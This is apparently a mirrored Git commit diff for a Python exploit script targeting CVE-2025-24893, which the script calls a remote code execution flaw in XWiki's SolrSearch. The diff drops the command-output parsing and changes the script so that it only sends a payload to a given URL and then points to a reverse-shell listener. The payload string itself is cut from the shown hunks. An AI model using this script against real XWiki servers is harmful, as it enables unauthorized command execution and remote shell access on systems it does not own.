mirror of
https://github.com/andwati/CVE-2025-24893.git
synced 2026-10-30 13:42:17 +00:00
Update CVE-2025-24893.py
This commit is contained in:
+2
-18
@@ -1,8 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import re
|
||||
import argparse
|
||||
import html2text
|
||||
|
||||
def exploit(url, command):
|
||||
payload = (
|
||||
@@ -14,27 +12,13 @@ def exploit(url, command):
|
||||
|
||||
print(f"[*] Sending payload to: {full_url}")
|
||||
try:
|
||||
response = requests.get(full_url, timeout=10)
|
||||
requests.get(full_url, timeout=10)
|
||||
print("[+] Payload sent. If it's a reverse shell, check your listener.")
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"[!] Connection error: {e}")
|
||||
return
|
||||
|
||||
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
|
||||
if match:
|
||||
raw_output = match.group(1).strip()
|
||||
output = h2t.handle(raw_output).strip()
|
||||
if output:
|
||||
print(f"\n[+] Command output:\n{output}")
|
||||
else:
|
||||
print("[!] Command executed but returned no output.")
|
||||
else:
|
||||
print("[!] No output found in response.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
h2t = html2text.HTML2Text()
|
||||
h2t.ignore_links = True
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user